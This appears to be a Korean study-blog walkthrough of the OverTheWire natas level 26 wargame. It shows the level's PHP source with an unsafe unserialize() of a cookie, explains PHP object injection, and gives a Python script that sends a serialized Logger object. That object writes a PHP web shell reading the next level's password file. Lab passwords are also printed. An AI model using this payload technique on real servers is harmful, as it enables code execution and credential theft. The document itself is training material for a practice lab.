: level 25 → level 26

http://natas26.natas.labs.overthewire.org

natas26은 4가지의 값을 입력받는 폼이 존재한다.

이 값들이 어떻게 쓰이는지 소스코드를 통해 확인했다.

 

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas26", "pass": "<censored>" };</script></head>
<body>
<?php
    // sry, this is ugly as hell.
    // cheers kaliman ;)
    // - morla
    
    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;
      
        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";
      
            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);
            fclose($fd);
        }                       
      
        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }                       
      
        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }                       
    }
 
    function showImage($filename){
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }

    function drawImage($filename){
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);     
        imagedestroy($img);
    }
    
    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
        
            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"], 
                            $_GET["x2"], $_GET["y2"], $color);
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) && 
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) && 
                        array_key_exists("y2", $object)){
                    
                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);
            
                    }
        }    
    }
    
    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }
        
        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
?>

<h1>natas26</h1>
<div id="content">

Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form> 

<?php
    session_start();

    if (array_key_exists("drawing", $_COOKIE) ||
        (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){  
        $imgfile="img/natas26_" . session_id() .".png"; 
        drawImage($imgfile); 
        showImage($imgfile);
        storeData();
    }
    
?>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

가장 하단에 있는 php코드를 보니 image 관련 함수들이 있다는 것을 알 수 있었다.

각 함수를 확인해보니 drawFromUserData 함수에서 폼의 값을 좌표로 사용하는 것을 알 수 있었다.

 

 

 

php코드에 이전 level들과는 다른 부분이 존재했다. 이전과 달리 class가 선언되어 있었다.    (Logger)

class안에는 3가지의 function이 존재했는데  그 중 앞에 __이 붙은 것은 생성자와 소멸자처럼 보였다.

이에 대해 찾아보니 예상대로 생성자와 소멸자처럼 사용되는 함수였다.

 

 

 

drawing 파라미터를 unserialize하는 코드가 있는데 이를 보면 payload를 직렬화하여 전달해야 한다는 것을 눈치챌 수 있다.

이때 직렬화를 하게 되면 magic method가 자동적으로 실행되는데 여기선 생성자와 소멸자가 이에 해당한다.

위 방법을 이용하여 natas27의 password를 획득할 수 있는데, 이 방법을 PHP Object Injection이라 한다.

 

변조된 객체 정보를 직렬화하여 전달하면 생성자/소멸자 쪽에서 이를 받아서 변조한 파일 위치에 변조한 데이터를 쓰게 된다.

따라서 php파일에 <?php system('cat /etc/natas_webpass/natas27'); ?>를 삽입하도록 변조하면 natas27의 password를 알아낼 수 있다.

 

 

 

- 자동화 프로그램

import requests

user = "natas26"
passw = "oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T"
url = "http://%s.natas.labs.overthewire.org/" % user
cookies = {'PHPSESSID' : 'o0cmt1964vseu1kong8kqss847'}

session = requests.Session()
session.auth = (user, passw)

serializedObject = "Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMToiaW1nL3phYS5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czo1MDoiPD9waHAgc3lzdGVtKCdjYXQgL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4iO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo1MDoiPD9waHAgc3lzdGVtKCdjYXQgL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4iO30="
session.cookies['drawing'] = serializedObject

response = session.get(url, cookies=cookies)
print(response.text)

response = session.get(url + "img/zaa.php", cookies=cookies)
print(response.text)

 

 

 

- 실행결과

 

 

 

natas27 password: 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ

 

 

 

 

'Study > Web Hacking' 카테고리의 다른 글

[natas] Level 26 -> Level 27  (0) 2021.08.24
[LOS] nightmare  (0) 2021.08.24
[LOS] zombie assassin  (0) 2021.08.19
[natas] Level 24 -> Level 25  (0) 2021.08.09
[LOS] succubus  (0) 2021.08.09
복사했습니다!